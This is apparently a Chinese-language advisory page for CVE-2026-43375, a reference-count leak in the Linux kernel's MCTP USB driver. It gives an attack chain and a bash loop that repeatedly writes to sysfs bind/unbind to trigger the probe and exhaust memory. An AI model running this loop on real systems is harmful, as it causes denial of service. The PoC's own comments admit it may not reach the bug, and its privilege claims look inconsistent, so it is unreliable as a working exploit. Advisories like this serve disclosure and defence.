IPBUF安全漏洞报告
English
CVE-2026-43375 CVSS 5.5 中危

CVE-2026-43375 Linux内核MCTP驱动资源泄露漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43375
漏洞类型
资源泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel资源泄露DoS本地攻击MCTPUSB驱动

漏洞概述

Linux内核中的MCTP(管理组件传输协议)驱动程序存在一个资源泄露漏洞。该漏洞发生在驱动程序探测USB设备的过程中。根据Linux驱动核心的机制,当接口绑定到驱动时,核心已持有相关引用,无需驱动额外获取。然而,该驱动在探测函数中错误地增加了对USB设备的引用计数,但在探测失败的处理路径中未进行相应的释放操作。这种错误导致USB设备结构体无法被正确回收,造成内存泄露。本地低权限攻击者可通过反复触发探测失败的设备操作,耗尽系统内存资源,从而引发拒绝服务。

技术细节

该漏洞的根本原因在于Linux内核net/mctp驱动代码中对USB设备生命周期管理的逻辑错误。在USB子系统中,当驱动程序调用probe函数时,驱动核心已经确保了USB设备及接口的有效性,并持有其引用计数。问题代码在probe过程中调用了`usb_get_dev()`(或类似函数)来手动增加引用计数,意图是在后续使用中保持设备活跃。然而,代码逻辑未覆盖所有错误退出路径,导致在probe函数返回失败之前,没有调用对应的`usb_put_dev()`来释放引用。由于引用计数未归零,内核内存管理子系统无法回收该设备对象占用的内存(包括设备描述符及相关结构)。随着攻击者不断插拔模拟设备或通过软件手段反复触发bind/unbind操作并导致probe失败,内核内存将逐渐耗尽,最终导致系统OOM(内存溢出)或崩溃。

攻击链分析

STEP 1
步骤1:本地访问
攻击者需要拥有系统的本地访问权限(AV:L),且权限要求较低(PR:L)。
STEP 2
步骤2:触发漏洞
攻击者通过特定操作(如插拔特定USB设备或利用软件手段触发设备绑定),使MCTP驱动的探测函数执行并失败。
STEP 3
步骤3:资源泄露
由于驱动代码逻辑缺陷,探测失败时未释放USB设备引用,导致内核内存泄露。
STEP 4
步骤4:拒绝服务
攻击者反复执行上述操作,耗尽系统可用内存,导致系统崩溃或服务不可用(A:H)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC to trigger the memory leak by forcing bind/unbind cycles # This script assumes the presence of a vulnerable MCTP device. # Replace '1-1' with the actual bus and device number. DEVICE_ID="1-1" DRIVER_PATH="/sys/bus/usb/drivers/mctp" if [ ! -d "$DRIVER_PATH" ]; then echo "MCTP driver not loaded or path incorrect." exit 1 fi echo "Starting exploit loop to trigger memory leak..." for i in {1..1000} do # Attempt to unbind the device (safe check) if [ -d "$DRIVER_PATH/$DEVICE_ID" ]; then echo "$DEVICE_ID" > "$DRIVER_PATH/unbind" 2>/dev/null fi # Attempt to bind the device, triggering the probe function # If probe fails (or even if it succeeds and we unbind), the leak might occur depending on exact failure condition. # To specifically target probe failure, specific hardware emulation or malformed descriptors might be needed, # but repeatedly loading/unloading the module or binding can stress the logic. echo "$DEVICE_ID" > "$DRIVER_PATH/bind" 2>/dev/null echo "Iteration $i: Triggered bind/unbind" done echo "Exploit loop finished."

影响范围

Linux Kernel (主版本及稳定版本,具体受影响版本需参考Git提交记录修复前的版本)

防御指南

临时缓解措施
由于该漏洞需要物理接入或特定的设备触发,对于普通服务器风险较低。关键措施是及时更新内核补丁。若无法立即更新,可暂时卸载mctp相关的内核模块以消除攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表